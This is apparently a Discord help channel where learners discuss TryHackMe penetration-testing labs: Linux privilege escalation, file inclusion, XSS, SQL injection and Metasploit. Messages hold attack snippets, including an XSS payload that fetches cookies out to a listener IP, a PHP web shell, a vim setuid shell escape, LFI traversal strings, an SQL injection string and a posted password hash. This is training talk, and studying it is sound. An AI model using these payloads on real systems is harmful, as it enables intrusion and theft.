#junior-pentester-path

1 messages ยท Page 17 of 1

lusty bolt
#

and now this

drifting drum
#

Go to gtfobins (its a website). Search for the SUID enabled binary you found

#

It'll tell you how to use it

deft valley
#

what q r u doing?

lusty bolt
#

Metasploit: Exploitation

#

Someone said not to do that earlier I thought

#

What payload should I use?

modest arch
#

ok am i being dumb? Linux PrivEsc task5, wget permission denied.....

drifting drum
modest arch
#

omg

drifting drum
#

๐Ÿ˜‚

lusty bolt
frigid bough
#

Hi! Short question: is anyone working on Jr. Pent Tester - Privilege Escalation - Linux PrivEsc at the moment? I just want to check if you encounter problems with the VM deployed for Task 6 ?

drifting drum
modest arch
#

thanks @steel nymph @drifting drum

next lanceBOT
#

Gave +1 Rep to @steel nymph

drifting drum
#

Huh. Weird. Never seen that before

frigid bough
#

although with VPN + ssh I can connect to the IP that shows on the top of the room

deep scaffold
lusty bolt
#

meterpreter/reverse_tcp?

drifting drum
deft valley
lusty bolt
next lanceBOT
#

Gave +1 Rep to @drifting drum

frigid bough
#

yes ..... but I need to have a "env_keep"

lusty bolt
#

my computer is, yes

#

I'm not using the attackbox

drifting drum
#

You don't matter

frigid bough
lusty bolt
#

Oh

#

lol

#

small brain moment

drifting drum
#

Gtfobins if you don't know how

frigid bough
drifting drum
#

Nope

#

Again it's just showing you possibilities

rough ore
drifting drum
#

No

#

Why would you need to?

analog owl
#

quick question on LFI #2 (fileinc room)

  1. In this section, the developer decided to filter keywords to avoid disclosing sensitive information! The /etc/passwd file is being filtered. There are two possible methods to bypass the filter. First, by using the NullByte %00 or the current directory trick at the end of the filtered keyword /.. The exploit will be similar to http://webapp.thm/index.php?lang=/etc/passwd/. We could also use http://webapp.thm/index.php?lang=/etc/passwd.

What is the current directory trick? I search on the previous section but couldn't find it. I'm not completely sure why it works.. is it related to php specific behavior?

deft valley
#

which way u did?

rough ore
#

bunch of symbols when decoding

drifting drum
#

Sounds more like he's trying to read a binary file

rough ore
#

and where is base64

drifting drum
#

You're just trying to give too much in the answrr

#

That too

analog owl
#

I did see "You are not allowed to see source files!" with /etc/passwd as input, but not sure why adding /. at the end bypass this ๐Ÿ˜•

teal briar
#

morning guys im already 2 days on file inclusion lab, can someone help me

deft valley
rough ore
#

i need to use unshadow?

lusty bolt
teal briar
#

on lab3 i found etc/passwd but i cant answer the question

deft valley
teal briar
rough ore
#

still dont get it i got hash in base64 decode /etc/shadow,how can i make it in cleartext

teal briar
#

im using nullbyte option

deft valley
deft valley
lusty bolt
#

Argh it timed out again

low nexus
#

stuck at file inclusion task 8, flag2, can someone help please ? - I am at the admin page at the moment

#

ah i understood now, so silly of me, thank you!!

next lanceBOT
#

Gave +1 Rep to @steel nymph

analog owl
#

I guess the page doesn't explain how does the developer "filter" the keyword? What does include(/etc/passwd/. mean? it's not pointing to valid path, right?

I understand the nullbyte because there's section explaning it

include("languages/../../../../../etc/passwd%00").".php"); which equivalent to โ†’ include("languages/../../../../../etc/passwd");

teal briar
deft valley
teal briar
deft valley
#

can anyone help me with crontab, i configured, but cant have reverse shell

#

still no change

#

yes

#

copied from example above

#

but with my own ip and portt number

drifting drum
#

Make sure the file is executable lol

#

That got me for a good 15 minutes

deft valley
#

i think connection problem, restarting

lusty bolt
#

For the last section of https://tryhackme.com/room/metasploitexploitation , I made a payload, and I'm trying to run it on the target, I got the file via wget, and I am root, but it says bash: permission denied when I try to run it. I'm assuming the correct way to run it is just with ./payload_name?

knotty walrus
#

I cant use telnet properly

lusty bolt
#

Oh...

#

I just ran it after doing chmod +x, and it still did not work, and it looks like this

#

Was I supposed to do something other than -f raw > shell.elf to export it from msfvenom?

#

Wait I'm dumb

#

did that

shell lintel
#

Hey, in the room: Cross-site Scripting Task 8 Practical Example (Blind XSS) I am able to capture cookie via THM Request Catcher, but I cant catch cookie with netcat. I am doing it with code:
</textarea><script>fetch('http://tun0IP:9001?cookie=' + btoa(document.cookie) );</script>
then I wait bbut netcat returns nothing, can some one help with this one ?

lusty bolt
#

Did not

#

It did that before I opened it

knotty walrus
lusty bolt
#

I used linux/x64/meterpreter/reverse_tcp

lusty bolt
#

Is that right?

#

I feel really dumb rn

#

uname -a returns x86_64

deft valley
lusty bolt
#

You mean the target? Linux

deft valley
#

yes, oh ok

lusty bolt
#

wait, is it a bad idea to show my tun0 ip

#

thanks

knotty walrus
#

I need help with task 3

#

I am connecting with telnet

deft valley
#

and whats the problem?

shell lintel
knotty walrus
#

well I can not run commands ๐Ÿ˜„

#

or I dont know how to use telnet

deft valley
#

just read it again thourgh, everything is given above

#

just follow it

knotty walrus
#

do you need help with the xss lab?

deft valley
solar ore
#

can someone help for the Linux PrivEsc room > task 9; the cronjob does not want to give me revshell

lusty bolt
#

Now I get this error when running it

#

is this the correct handler to use?

solar ore
#

thanks will try

next lanceBOT
#

Gave +1 Rep to @steel nymph

solar ore
#

worked thanks!

lusty bolt
#

damn

#

how do I know if its staged or not

#

oh

#

well yes, but I get this when I execute ./shell.elf on the target

drifting drum
lusty bolt
#

oh thanks

deft valley
lusty bolt
#

sigh

reef wave
#

I need to understand something on linux privesc task 7:

#

||I see that base64 has suid and owned by root, so why can't I still run it as root?||

#

oh this is probably guid?

#

i mean SGID

#

so as I understand I should be able to run them with sudo

#

or that I run them without sudo and they will act as sudo

#

oh yikes

#

so why all the gtfobins suid vulns are with sudo

idle bison
#

sudo is a command that lets you run commands as other users, usually root.
Code running as root isn't acting as sudo

reef wave
#

so sudo has nothing to do with this specific task, I just need to find the right suid vuln

#

yea I read and it was about nano example however this time ill user something else probably

#

cause I checked like 2 commands and none worked yet so I thuoght that maybe I missed something

north dove
#

why the fcuk does my terminal freezes whenever i try to interact with my fcuking nfs mount !

I'm probably goin to break this fcukin shit of PC now!

deft valley
#

having problem with nfs, i run the ||./nfs||, but its not giving me root

#

any suggestions?

north dove
deft valley
reef wave
#

yes I have defiantly missed something

north dove
deft valley
north dove
deft valley
reef wave
#

||I copied the bin file and run it as karen instead running at /usr/bin/...||

#

wait how do I spoiler inside a command lol

deft valley
#

||its super id||

reef wave
#

inside a message

north dove
deft valley
north dove
reef wave
#

cool tnx

north dove
#

coz this is all u need

deft valley
north dove
#

show me your mount command

deft valley
deft valley
#

||-rwsr-sr-x 1 ubuntu ubuntu 16144 Oct 24 20:59 nfs||

north dove
#

make sure u follow the same ! no ups no downs

deft valley
#

yeah, i did same

visual crest
#

be sure to delete that file when you are done... you don't want a suid bash on your own system ๐Ÿ™‚

north dove
#

@visual crest why the hell is my terminal freezing? Guess what! i haven't be able to complete the NFS room yet! this just won't let me do cri

deft valley
#

the onely change is from $ to ||karen@ip||

north dove
#

and i was at 97%

#

๐Ÿ˜

north dove
visual crest
#

I'm not sure why it freezes

reef wave
#

yes I think I had the switch I needed, I remember I learned suid once in the past and didn't understand nothing

#

well it was on the past when I really didn't understand nothing about this world lol

#

now things are better

#

and made this task tnx

north dove
hazy kraken
#

sorry to interrupt with another room.. web-xss the blind-xss part. other users above already posted the same problem with not receiving the http request. I think it's because of ||CORS|| . I got the cookie with another trick, but was wondering ... what is the intended way to solve? And shouln't the room talk about this as well?

drifting drum
north dove
drifting drum
#

Yea

reef wave
reef wave
#

do the crontabs running every minute?

#

because there is a file on the crontab ||/home/karen/backup.sh|| that should run as root, and I've setup ||rev shell for the connection and copied the command (ofc changed the ip and port) from the task should I wait any longer it has been 8 minutes ||

#

wait maybe I forgot something

#

maybe || execution prevs were missing? ||

#

lets wait a minute

#

yes

#

exactly

#

thanks

#

sometimes I just need to explain what did I do to someone and I figure it out, on work I have my co-workers for that lol

north dove
#

i'm just goin the break my motherboard today ๐Ÿ™‚ Hope it rests in peace ๐Ÿ™‚

novel rover
#

did anyone write program for sql blind time-based attack on go?

blazing coral
#

Anyone having problem with Passive Reconnaissance room? I know I'm putting in the right answer and it keeps telling me it's incorrect! But there's only 1 name server sooooo.....

copper garnet
#

for walking an application, i've placed the correct flag for the network task, but it says it's incorrect

blazing coral
#

okay so we're sorta in the same boat there. Do we reach out to the dev team at this point?

copper garnet
#

hmm

blazing coral
#

I even looked up a previous writeup and it has the same answer

#

I'm stuck lol

copper garnet
#

i am too

#

i've tried () on either side, on both sides

#

still wont work

blazing coral
#

maybe we should try in different browsers??

copper garnet
#

ima try

dusty bramble
#

Hey, I am in the middle of mike myer's network+ prep course but I'm not planning on getting the cert, does TryHackMe teach you enough about networking for pentesting or should I finish the course first?

drifting drum
#

But it all depends on how you learn

blazing coral
#

@steel nymph under the WhoIs task the last question regarding the name server. Should be cloudfare.com

deft valley
#

like letter "l"

blazing coral
#

I copied and pasted that badboy too though

copper garnet
#

cloudfare or cloudflare?

blazing coral
#

jesus milk and cookies

#

im taking a break

#

lololol

dusty bramble
novel rover
#

does database name for blind time-based sqli is ||s_l__fou_|| or my script is broken ?

drifting drum
copper garnet
#

for walking an application, i've placed the correct flag for the network task, but it says it's incorrect

next lanceBOT
#

Gave +1 Rep to @drifting drum

drifting drum
copper garnet
#

hmm

deft valley
copper garnet
#

||THM{HEADER_FLAG}||

#

is that not it?

#

ohhh

#

i got it

novel rover
#

lol, now its writing something different

gray locust
#

it takes longer to boot windows than exploit it here at the finish line lol!!! Great track though. Learned a ton!

deft valley
#

can anyone help me crack shadow hash, attack machine taking so much time

#

im using rockyou

#

yes

#

yes

#

i copy pasted

steep bolt
#

oh so close

fallen crater
deft valley
#

i did

fallen crater
deft valley
#

||$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51||

novel rover
deft valley
#

capstone challenge of lin privesc

#

im running both hashcat and john, taking long time

fallen crater
deft valley
#

but im trying 2 hashes

#

not only one, one is given password

fallen crater
reef wave
#

I think the privesc room is the best room by far

deft valley
#

let me try

reef wave
#

||you got missy password?||

deft valley
#

yes

reef wave
#

privesc from ||missy||

velvet jacinth
#

anyone got a second to help me with file inclusion task 4 question 2. Guess i dont understand what it wants for the directory

reef wave
#

only windows privesc and I'm officialy jr pen tester!

#

thought I would get any voucher :/

velvet jacinth
#

yeah is it wanting something like the var/www/html or am i totally missing something else?

fallen crater
velvet jacinth
deft valley
#

thanks everyone, i got it

rough ore
#

in task 7 linux privesc got error when using ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#

Error detected while processing command line:
E319: Sorry, the command is not available in this version:

left kraken
#

Dumb question on the Burp module:
...expand the various levels of the application directory. What do we call this representation of the collective web application?
answer: xxxx xxx

#

https://tryhackme.com/room/rpburpsuite (seems dumb because I'm sure I could figure it out but don't want to bother now and have already tried things like HTTP GET, root/home dir, HTML DOM, etc.)

#

I thikn it's asking about an agnostic term, not specific for the exercise.

#

Oh, woops. it's part of the CompTIA Pentest+ path.

#

Task = Target Definition, my bad. First time asking for help here. Just joined and trynna blow through all the THM paths.

#

oh

#

got it. facepalm

#

since most answers are super simple for these rooms I knew it was something i was missing....maybe it's time for another slice of ๐Ÿ•

#

Also, my b if this was the wrong channel. seems jr pentester is diff from comptia one.

zenith lodge
#

Hello I'm stuck in on task 6 of subdomain enumeration using ffuf.

I've tried searching here for same issues and people have said to restart the attackbox, I have and I am still getting this. is this suppose to be correct?

I get a bunch of these:

:: Progress: [1907/1907] :: Job [1/1] :: 322 req/sec :: Duration: [0:00:06] :: Ezw                      [Status: 405, Size: 472, Words: 98, Lines: 15]
:: Progress: [1907/1907] :: Job [1/1] :: 323 req/sec :: Duration: [0:00:06] :: Ezlog                    [Status: 405, Size: 472, Words: 98, Lines: 15]
:: Progress: [1907/1907] :: Job [1/1] :: 323 req/sec :: Duration: [0:00:06] :: E:: Progress: [1907/1907] :: Job [1/1] :: 324 req/sec :: Duration: [0:00:06] :: E:: Progress: [1907/1907] :: Job [1/1] :: 324 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
haughty topaz
#

LFI task 4 last question im stuck.

rough ore
#

got it with view tnx

low nexus
haughty topaz
#

lab2.php didnt work

low nexus
#

Guys, in file inclusion task 8, flag3, i see the / incrementing everytime we do a trial and error, am i missing anything major here ?

drifting drum
#

No

low nexus
haughty topaz
#

wow nvm..lol

low nexus
haughty topaz
#

i got it

#

hmm lol

low nexus
#

i thought redline was driving me crazy, file inclusion is higher than that ๐Ÿ˜„

copper garnet
#

how do i get the pentester role?

low nexus
copper garnet
#

hmm

#

i mean

#

i have redeemed it

#

oh wait

#

do i have to complete the path?

low nexus
copper garnet
#

oh good

lost hill
#

can someone give me an direction on how to get RCE on the playground. i tried adding <? php system($_GET['cmd']); ?> to the user agent to see if i would be able to run commands but didnt work out

upper quarry
#

Or just send !verify <token> again to the bot

copper garnet
#

ima try

#

thx guys

#

i appreciate it.

delicate sluice
#

can anyone help me in burp suite section?

low nexus
#

the form action in for the task 8 challenge three has been set as .//chall3.php, is that why everytime we do a trial and error, the / increments ?

gleaming loom
#

i have an issue with Windows privesc room > Task 6 Unquoted Service Path > last question where i should obtain Administrator privileges, when i get to the final point to restart the service it won't start. Any advice, hints?

cobalt skiff
modest arch
#

dang these privesc rooms are intense bro, so long

#

the first 95% of the path didn't take as long as these 2 modules ๐Ÿ˜‚

cobalt skiff
#

i need some help for task 8 SQL Injection room, so far i found database, table and column name how can i find the password

main dune
#

whats ur table

#

or i should say are you sure you have the right table

cobalt skiff
main dune
#

yeah - also i think your supposed to put the spoiler tag things on. Youre on the right path just keep enumerating other column names

cobalt skiff
#

||test||

#

oh thanks

next lanceBOT
#

Gave +1 Rep to @tulip elm

main dune
#

once you have the column and need the specific password, this command from the previous boolean section will help: admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

gleaming loom
next lanceBOT
#

Gave +1 Rep to @cobalt skiff

zenith lodge
#

were you able to find a solution? I have the same issue been like this for two days, tried restarted the attackbox many times

acoustic spindle
zenith lodge
next lanceBOT
#

Gave +1 Rep to @acoustic spindle

acoustic spindle
#

anyone know what that Robocop thing means?

acoustic spindle
mellow karma
#

Can anyone help me here ? Topic: File Inclusion Task 8 flag 2 hints to check the cookies, which I modified to admin and got this page.

#

I am not understanding what should be the path here

drifting drum
#

You're getting there. Play with the cookie more

mellow karma
#

I confused

#

Couldn't help myself so I thought of asking.

mellow karma
#

I am not getting the right path

#

That's where I am going wrong.

#

Right ?

drifting drum
#

Idk. What have you tried?

mellow karma
#

/challenges/chall2.php?file=../../../etc/flag2

#

that's what I tried

#

Also I modified path with different types

drifting drum
#

You didn't listen to what I said lol. Keep playing with the cookie

mellow karma
#

Nope I still didn't get

#

๐Ÿ˜ฆ

drifting drum
#

Combine your answers. Thats all I can say. Anything else would be giving it away

mellow karma
#

Thank you @drifting drum โค๏ธ

next lanceBOT
#

Gave +1 Rep to @drifting drum

sacred turtle
#

wooo I did it!

zenith lodge
# acoustic spindle I'll make sure to come back and let you know either wya

I figured it out. What I did is start the next room while I waited. Started the attack box there. there are two ips, you have to use the 2nd ip, not the first one at the very top, but the one on top of the task 1 that says "active machine information"

I ended up finishing the new room first then went back and finished up the prior room using the same ip even though I started a new attack box again in the prior room. (ip didn't change)

icy forum
#

who complete the Cross-site Scripting room

#

i need a little help

coral kelp
dire crypt
#

anyone could help me with command injection...task 5....2 question...find the flag content...cat does not seem to work

wild sundial
dire crypt
cold iris
#

Okay i really learned allot about nmap with the NetSec Challenge really liked that.

prisma sphinx
#

Getting 502 bad gateway accessing file inclusion lab.

rotund thorn
#

It's pretty easy, you don't have to use an exploit, just do a directory traversal

compact flame
#

Is it just me who's finding the sqli room really confusing?

modest arch
#

It's all there in the examples. I don't think it's confusing. I would go as far to say I found it the easiest in that section.

#

Which part is hard?

compact flame
#

Probably just me then

modest arch
#

Lol I don't know. Some others have posted questions about it.

shadow sand
#

super noob question here, I tried curl and it worked, but why did it worked on curl but not on dev tools or burp, it's the same exact step, really appreciate if you can tell me why, thanks ๐Ÿ™‚

next lanceBOT
#

Gave +1 Rep to @deft valley

distant scroll
#

hii can some one tell me how one can exploit a bin file when they are not part of sudoers

#

i cant run a gtfobin exploit because iam not part of SUDOERS list on that machine

cedar sail
#

Hello Guys in Linux PrivEsc TASK 7 I figured out SUID ||base64|| and got passwords for user2 and gerryconway and enumerated them but I am not sure where to go from here. Can anyone please nudge me in right direction

modest arch
distant scroll
modest arch
#

I did it

#

Not sure why

distant scroll
#

i have found out wht files have SUID bits set for the user

#

and i have searched for them in GTFObins but all that i have found need sudo permission to run them

modest arch
#

Ok.

distant scroll
#

and that user is not in the sudoers list to do so

modest arch
#

What task are you on,?

distant scroll
#

linux privsec

modest arch
#

Which number ?

distant scroll
#

task 7

shadow echo
north root
#

Task 7

shadow sand
shadow echo
distant scroll
empty steeple
#

Any ideas why acme it supports website refuses to load in Content discovery room

modest arch
loud spire
#

What is the value of the staff-session cookie?

#

when i decode it i get answer

shadow echo
# shadow sand Local File Inclusion challenge 1

Okay, got your screenshot, could you also show me the curl request you made? I mean I already see why it's not working, but would be interested in how your curl request looks like ๐Ÿ™‚

loud spire
#

but it's showing that answer is incorrect

shadow sand
loud spire
#

c2Vzc2lvbj04OGE1ZTZhZjVhYWE4YWM0ZDliYTllY2U0NjAxY2NhYg== this is the base64 value

#

session=88a5e6af5aaa8ac4d9ba9ece4601ccab this is the decoded value

#

still it's showing incorrect

shadow echo
shadow echo
# shadow sand that's all of it

Okay, so my assumption is that curl by using the post request by default will set the header to Content-Type: application/x-www-form-urlencoded so if you add that to your burp request it should work.

shadow sand
next lanceBOT
#

Gave +1 Rep to @shadow echo

hazy kraken
#

(feel free to PM if you want)

loud spire
#

Yes buddy

#

Do not try to do it in ur local machine, do it in ur attackbox

#

I too took help of one of my friend where he just wasted 3 hrs for this things

#

Thing*

#

@hazy kraken

hazy kraken
#

(I already have the accepted session)

#

did you solve it?

loud spire
#

Where attackbox or local machine ?

hazy kraken
#

local. starting attack box to try it there.

loud spire
#

Yes do it on attackbox close that connection, its of no use

#

For this task, u need to do it using attackbox, to grab the right staff session cookie

#

And then just decode the base64 value to know the answer

shadow echo
hazy kraken
#

it works in both machines for me (yet none of them works using the HTTP request)

loud spire
formal sigil
#

Hi, im working my way through File Inclusion room and have no clue how to get flag3 in task8. If anyone could give me a clue it would be great. Currently I still can't include any special characters

shadow echo
loud spire
#

Yes, because i did it on both ๐Ÿ˜‚

#

But it just worked on attackbox

hazy kraken
loud spire
#

I mean both the cases provided me the session, but the right session was given by attackbox

#

Session cookie*

formal sigil
hazy kraken
#

hmm. I cannot find the specific task right now. did you try/think about all 4 entry points mentioned in this "Steps for testing for LFI"?

formal sigil
granite loom
#

I'm having some trouble getting the reverse shell to work on the crontab task of linux privesc. I've tried the commands listed in all the cronjobs, but I'm not getting any response.

hazy kraken
formal sigil
next lanceBOT
#

Gave +1 Rep to @hazy kraken

vital depot
#

Need help please: File Inclusion - Task 8 -Flag1
In firefox dev tools, under network tab I am editing and resending the request. I have changed the method to POST. This is my query string** file=/../../../../etc/flag1**. I have tried using null bytes %00 and character escaping. I have tried variations on the query string, yet no joy. Thanks ๐Ÿ™‚

lusty bolt
shadow echo
deep scaffold
hazy kraken
shadow echo
#

You want to make sure to have the Content-Type: application/x-www-form-urlencoded header set in your request.

granite loom
wild sundial
vital depot
deep scaffold
formal sigil
hazy kraken
#

ah and did you also put Content-Type (justlike Fontaene mentioned above for a different task?)

formal sigil
next lanceBOT
#

Gave +1 Rep to @hazy kraken

hazy kraken
#

np.always the small details ๐Ÿ™‚ I used curl which automatically takes care of this header ๐Ÿ™‚

formal sigil
lusty bolt
quasi jay
#

Yeah. I get the same issue. Doesn't accept the base 64 decoded cookie

vital depot
# shadow echo Yes

I've added Content-Type: application/x-www-form-urlencoded in the header, and then gone through the process again with all variations of file path as mentioned previously but no luck. Any other clues?

#

And thanks @shadow echo for the help

next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
#

!docs veriy

tiny bluffBOT
#
TryHackMe
That topic does not exist!

Use !docs to list all of the available topics.

shadow echo
#

!docs verify

tiny bluffBOT
shadow echo
lusty bolt
#

bruh

#

I have every other answer except this question

oblique sand
#

relook at ur url/query @vital depot

lusty bolt
#

I have spent like over 4 hours on the metasploit modules

vital depot
tame fern
#

ctrl+z

lusty bolt
#

I did that

tame fern
#

Then run the module and foreground it.

#

Then restart? Because I did that and it worked

lusty bolt
#

Tried doing that and it killed the meterpreter session

shadow echo
lusty bolt
shy elk
#

Hi, for linux privEsc task 6, โ€œwhat is the hash of Frankโ€™s passwordโ€. Is it in the etc/shadow ? Anyone can share how get the permissions? It shows โ€œuser Karen is not allowed to execute โ€˜usr/bin/cat /etc/shadowโ€™ as root on ip*******

tame fern
tame fern
tame fern
shadow echo
tame fern
# shadow echo Yes

Are you meant to use Burp Suite with a GET request? I tried the same to no avail.

shadow echo
tame fern
#

Oh yeah I meant a POST request. Did it with burp yesterday and had no response on the website sadly

frigid bough
#

Hi! Any extra hints for Linux PrivEsc task 10? created the "path" file and the thm in /tmp but after running "path" it does not return an elevated shell ....

shadow echo
north dove
#

or make a file on the writable dir

#

where u can write files

lusty bolt
north dove
frigid bough
twilit yoke
#

Hi I am stuck at the JR Penetration Tester path at Introduction to Web Hacking File Inclusion. Task 4 Local File Inclusion - LFI. The last question they ask that: "In Lab#2, what is the directory specified in the include function?". I dont understand what they want me 2 do i tried everything, checked for write-ups which i cant find. I think the answer is very easy but I cant figure it out. Is there anyone who can give me a hint?

north dove
frigid bough
north dove
#

or just more hints

frigid bough
#

you can share your notes but on a DM - so we will not spoil the fun for the others?

north dove
#

oh okay

shadow echo
drifting drum
twilit yoke
shadow echo
hazy kraken
#

do you use Lab#2 or still in Lab#1?

frigid bough
next lanceBOT
#

Gave +1 Rep to @drifting drum

next lanceBOT
#

Gave +1 Rep to @shadow echo

lusty bolt
#

i am done with this

lusty bolt
#

Literally been doing this one question for 2 hours now

north dove
#

just 2hrs?

lusty bolt
#

And I keep getting the same error

north dove
#

lol

#

is there any paragraph before

#

send that please

#

i can't access the room. I'm not a subscriber

lusty bolt
#

oh

#

well the hint says ||Use the "post/windows/gather/enum_domain" module. You will need to background Meterpreter first and set the SESSION parameter.||

#

but this is really annoying because I don't know if I'm doing something wrong or there's another problem

north dove
#

if you don't mind can you send the whole page ss? lol!

lusty bolt
#

Probably impossible to read but here

north dove
lusty bolt
#

If you click open original it's kinda readable

shadow echo
lusty bolt
#

well I guess I could do that

north dove
lusty bolt
#

no idea

north dove
#

check up

shadow echo
# tame fern

As you are doing a POST request, the parameter doesn't belong to the requested URL. So therefore you first of all have to get rid of the ?file= (and everything after that, except the HTTP/1.1) and put the requested parameter in the right place. Also you will have to specify the correct Content-Type in your header.

lusty bolt
#

IT WORKED

#

guess it was a problem with my setup then

twilit yoke
lusty bolt
#

Thanks to everyone who helped

shadow echo
twilit yoke
shadow echo
# twilit yoke But the error gives back what you input into the function right? and the input i...

Well the error gives back what directory is specified in the include function. So as you have found the correct answer now, that's exactly what happened. The above code with include("languages/". $_GET['lang']); is just an example. So if I'm the developer and I named my directory banana, then my include function would look like that include("banana/". $_GET['lang']); and the error would reveal that.

little sparrow
harsh verge
#

Yeah, what's the problem?

tame fern
twilit yoke
little sparrow
harsh verge
#

rockyou would to the job

#

I need a hint for the XSS room, task 8.

Even if I set a netcat listener, even if i use that website to get the requests, I still get my cookie instead of staff cookie.

Is the payload or am I overthinking it?

shadow echo
harsh verge
#

Tried it as well.

#

The same cookie.

shadow echo
tame fern
next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
harsh verge
#

So, anyone any ideas for the task 8, XSS room?
I'm getting my own cookie instead of staff.

tame fern
shadow echo
tame fern
#

Yes

shadow echo
# tame fern Yes

Then you go into the network tab, send the initial request, then you should see it in that tab and simply right click it and click "edit and resend"

tame fern
#

Right, thanks again.

#

I got it!

loud spire
#

Can someone help me with the command injection task 5

vital depot
#

This is beyond frustrating. I am dumb

earnest shell
#

@vital depot same bro but going forward

loud spire
#

I am unable to traverse directory

#

Can someone help me

harsh verge
#

some of the payloads from here will do the job @loud spire

#

see which one allows you to bypass the filters and read from the file.

loud spire
#

I have tried it, it's working but i need to go /home/tryhackme

harsh verge
#

why?

#

cat /home/tryhackme/flag.txt

loud spire
#

Most of the payloads are working from payloadbox but the thing is i am unable to traverse

loud spire
drifting drum
#

Just saying not working isn't helpful

harsh verge
#

What payload are you trying right now?

drifting drum
#

What have you tried that isn't working?

loud spire
#

See, i passed the payloadbox cheatsheet to intruder and i can see that some of them are producing the desired output, but the things is i need to navigate to the directory /home/tryhackme and i am unable to do so

harsh verge
#

why to intruder?

loud spire
#

To see what all payloads are working

#

In correct manner

harsh verge
#

again, why you need to traverse directories?

#

just use a payload that allows you to run a command

#

and use it to run whoami and cat

loud spire
#

See cat /home/tryhackme/flag.txt isnt working

#

Whoami runs

#

Successfully

#

I need to cat to read flag

harsh verge
#

what payload are u using?

loud spire
#

ls; whoami

#

Or ls; pwd

#

ls | pwd

harsh verge
#

it works.

#

with ls; as well

vital depot
loud spire
harsh verge
#

try inserting the payload directly into the web

#

or follow the response in burp if you want to do it that way

#

the payload you're using it's working fine. just go to http://machineip and insert it there.

#

I'm going to grab something to eat. Lemme know if you got it working @loud spire

tame fern
noble plover
#

Hello, I'm in Linux PrivEsc room task 11 (NFS), I followed exactly what exists in the text but I didn't get the root. Why?

vital depot
vital depot
drifting drum
#

Post it here. Just spoiler tag it

tame fern
vital depot
#

Yea, sorry I'm just referring to it in the context of the Query String box in dev tools

subtle forge
#

Hey, anyone having issues with the NMAP live host discovery TASK 2 view site option?

#

the view site option open up a network diagram of a subnet. we are excpected to select the To and FROM machines and then select the PACKET TYPE and send the packet. This doesnt work :/

vital depot
#

I reverted back to using ?file= ... I know that's not correct but nothing else has worked

subtle forge
#

it just doesnt do anything

tame fern
#

LFI has been the one room that has given me trouble ngl

subtle forge
#

yep. neither does task 4.

vital depot
subtle forge
#

done that. just annoying. probably try to open a new session

#

woah that worked lol. nvm. Thanks @steel nymph

next lanceBOT
#

Gave +1 Rep to @steel nymph

tame fern
vital depot
#

I tried null bytes too, but that wasn't having it

tame fern
#

Maybe just do it in Burp?

#

That's what worked for me

hoary bronze
#

my vm wont load any webpages.. first time using a vm so im not sure what to do

#

thank you

next lanceBOT
#

Gave +1 Rep to @steel nymph

subtle forge
vital depot
#

Mate, thank you ffs haha

next lanceBOT
#

Gave +1 Rep to @steel nymph

noble plover
#

int main()
{ setgid();
setuid();
system("/bin/bash");
return 0;
}

vital depot
#

For sure. It was worth it. Even for the tiny steps

subtle forge
#

this jr pentester path is just top notch

vital depot
#

Thanks @tame fern for the help too

drifting drum
wet gulch
#

okay i read back and still couldn't understand im stuck on file inclusion task 4 question 2

subtle forge
wet gulch
#

yes

subtle forge
#

the answer is right there when you enter a file name

#

in the error3

twilit yoke
#

What do you mean exactly? i have the same problem i edited the GET to POST and resend it. Then i look for the response in the network tab but i dont see any change

wet gulch
#

so the goal isnt to find a file ?

noble plover
#

Thank you ๐Ÿ˜

next lanceBOT
#

Gave +1 Rep to @steel nymph

subtle forge
#

the goal is to identify the directory. if that is the same task you mentioned earlier

wet gulch
#

the include_path is the directory specified in the include function

subtle forge
#

maybe share a screenshot here of the error you see?

wet gulch
#

im very new

brittle gyro
#

has anybody had issues logging into to the Windows Priv esc box? I've been getting errors for about the last hour

wet gulch
subtle forge
#

but this is lab1

wet gulch
#

okay then im lost

twilit yoke
#

@vital depot How did you solve your POST request problem? i double clicked, opened new tab etc but it wont help and i have no experience with burp suite just took a look at that

subtle forge
#

go back to home, select lab2 and then enter a file name and see what you get

wet gulch
#

oh yeah im dumb

shadow echo
vital depot
twilit yoke
#

@vital depot

vital depot
subtle forge
acoustic python
#

hi guys, i have a trouble with repeater exercise (burp), i send the request with the product modify to 1000 or symbol, but the response is always a 404 not found, and i cant achieve the 500 error requested with the answer, anyone can help here?

subtle forge
#

you can try a negative value

twilit yoke
#

@vital depot

vital depot
#

@twilit yoke include Content-Type: ||application/x-www-form-urlencoded|| in the Request Header, and file path payload in the Request Body. I didn't include the exclamation like @subtle forge suggested, but it worked. So I guess either will

subtle forge
acoustic python
next lanceBOT
#

Gave +1 Rep to @somber mulch

somber mulch
next lanceBOT
#

Gave +1 Rep to @acoustic python

twilit yoke
#

wow i get it now, thanks alot @vital depot @subtle forge

next lanceBOT
#

Gave +1 Rep to @vital depot

lusty bolt
#

nvm

subtle forge
twilit yoke
subtle forge
#

nope. currently on Network Sec

rapid kite
twilit yoke
#

In the beginning it goes very fast but now i've noticed it takes more time to complete rooms

subtle forge
rapid kite
#

Task 3

#

HTTP portion, i logged into telnet port 80 and Http request it

subtle forge
#

oh no. havent reached there yet

rapid kite
#

no flag :/

#

ahh ok.

subtle forge
#

sorry

rapid kite
#

things are getting harder

rapid kite
tame fern
#

RFI capstone has to be the easiest bit of the LFI room

lusty bolt
#

-t 64 as well and its taking a while

#

I guess ill just wait

north dove
#

maybe

#

i'm bad at hydra btw! I haven't learned it properly

somber mulch
lusty bolt
#

I'm trying to crack the password for eddie

#

lol

normal totem
lusty bolt
#

||ftp, port 10021||

#

I've checked that it is actually working with -d

normal totem
#

Thatโ€™s right. Shouldnโ€™t take too long.

lusty bolt
#

it says it's gonna take 342 minutes lmao

normal totem
#

Took only a few seconds to find passwords of both users

lusty bolt
#

hmm

tame fern
normal totem
#

Try ftp://IPADDRESS:10021

tame fern
#

If they take longer then something's wrong.

normal totem
#

Worked pretty well for me

tame fern
lusty bolt
#

I'm not using the flag "port", I was using -S

#

Got it

#

When I login with FTP should I just use ls -a to find the flag?

shell lintel
#

@wanton prism same here. I did the ' OR 1=1;-- statement and I am able to go to level 3 task, but flag is the same as was in Task 5. Did you manage to get right flag for Task 6 ?

#

